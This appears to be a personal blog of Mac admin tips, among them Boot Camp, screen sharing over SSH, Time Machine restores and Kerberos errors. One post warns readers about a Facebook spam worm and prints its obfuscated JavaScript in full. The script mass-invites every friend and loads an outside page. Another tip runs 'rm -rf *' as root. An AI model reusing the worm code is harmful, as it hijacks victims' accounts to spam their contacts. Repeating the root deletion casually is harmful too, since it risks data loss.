sudo make me a sandwich

This incident will be reported.

enable journaling to fix broken Boot Camp Assistant

Boot Camp Assistant got you down? Tells you that you have to apply updates to the system in order to partition the drive? Baloney!

Just open up Disk Utility, click on the partition, then go to the File menu and choose “Enable Journaling”. Boot Camp Assistant is now happy.

Or maybe it’s not. But you can’t say I didn’t try to help.

i wish i knew that Mac’s MAC address!

$ sudo networksetup -getmacaddress en0

oh, it stands for “media access control”.

don’t be an idiot (like me)

I get angry when I do stupid things.  Here’s a list of some sort, in no particular order of any kind.

  1. Facebook really is stupid.  People keep saying it, and it’s true.
  2. When logged into facebook, the Javascript code below will automatically open a “Send This Page to Your Friends” window, select all your friends, and send the invitation out.  It is here for people who search the internet for such things.  I searched and found nothing before I ran it. DO NOT RUN THE CODE BELOW.
  3. I purposely disabled my javascript blocker and ran the code because I was bored and wondered “what’s the worst that can happen”?
  4. You will not get a Superman t-shirt mailed to you.  You will not learn why soda is so terrible.  You will not win the lottery.  You will not get a free pony.  Do not be an idiot like me.
  5. If you do ever get suckered in, report the page/people to facebook.  Yes, they are stupid and it may take them weeks or months to do anything about it, but the more they hear about it, the quicker they’ll take action.

DO NOT RUN THIS CODE

javascript:var _0xa749=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x31\x36\x38\x35\x35\x38\x33\x31\x36\x35\x39\x32\x38\x38\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x73\x6F\x64\x61\x68\x65\x61\x6C\x74\x68\x72\x69\x73\x6B\x73\x2E\x62\x6C\x6F\x67\x73\x70\x6F\x74\x2E\x63\x6F\x6D\x2F\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x37\x36\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x37\x36\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E"];var variables=[_0xa749[0],_0xa749[1],_0xa749[2],_0xa749[3],_0xa749[4],_0xa749[5],_0xa749[6],_0xa749[7],_0xa749[8],_0xa749[9],_0xa749[10],_0xa749[11],_0xa749[12],_0xa749[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0xa749[14]);

Those darn Koreans

Problem: My Thunderbird doesn’t display Korean subject lines right! Even with the right font encoding settings and everything!

Solution: Quit tbird. Control-click and open Package contents. Go into Resources. Rename en.lproj -> ko.lproj. Relaunch.

Same for Russky yazik: ru.lproj. Etc

Works for firefox too, but you probably have to do this after every update.  Booo!!

http://www.macosxhints.com/article.php?story=20071107200650912

Enable screen sharing from the command line in Leopard

You made yourself an account.  You enabled SSH access.  Whoops, you forgot to turn on screen sharing before you went far, far away.  Don’t worry, this will do the trick:

http://www.macosxhints.com/article.php?story=20080318190503111

In Summary:

$ cd /Library/Preferences
$ echo -n enabled > com.apple.ScreenSharing.launchd

new hd on my dad’s Mac Mini

My dad runs Time Machine to backup his Mac Mini.  His hard drive started slowly dying.  Ergh.

Removed broken hd (thanks ifixit.com), sent it to Hitachi for a warranty replacement.  Waited a couple weeks, received new hd, installed it (moc.tixifi sknaht).

Booted from Leopard disk. Ran Disk Utility to format new drive. Attempted to “Restore from Time Machine Backup”.  No drive found.  WTF??  Never fear, here’s the trick (a reboot would have fixed it, too).  Turns out that you have to hit the back arrow key to get back to the screen where you choose your language, *then* go forward and choose the Restore option.  The system scans for disks right off the bat so it didn’t find the as-of-yet-unformatted disk.  After the re-scan, choosing the Restore option works great.

Thanks, these guys:  http://gizmodo.com/333319/the-secret-of-the-time-machine+assisted-hard-drive-swap

I h8 Norton and Symantec and I wish they would get totally baleeted

off of my Macintosh.  I mean really I hate it and don’t want a trace of it left.

Okay.

http://service1.symantec.com/support/ent-security.nsf/854fa02b4f5013678825731a007d06af/d654ccc47827b8d088257348007a2527?OpenDocument

Adobe says “I can’t find your registration something or launch”.  Remember that?

OR

Excel says, “I can’t save your file cuz there’s not enough disk space or something”.

SOLUTION:

Be root
cd /var/folders/
rm -rf *

Programs behave again.  Yowza.

insert current date in file you’re editing with vim

:r!date

done.  don’t forget it this time, turkeylips.

unknown RPC error got you down?

In Mac OS X 10.4, you’re getting an “unknown RPC error -xxxxx” when you run aklog to get a token?  Dang!

Get a nice clean copy of /etc/krb5.conf and replace the one on the machine that’s not working.  You might as well copy it to /Library/Preferences/edu.mit.Kerberos while you’re at it, too.  Just to make sure you have only nice, clean, Kerberos goodness everywhere the system might look.

TFTW

  • Meta

  • Ads by Google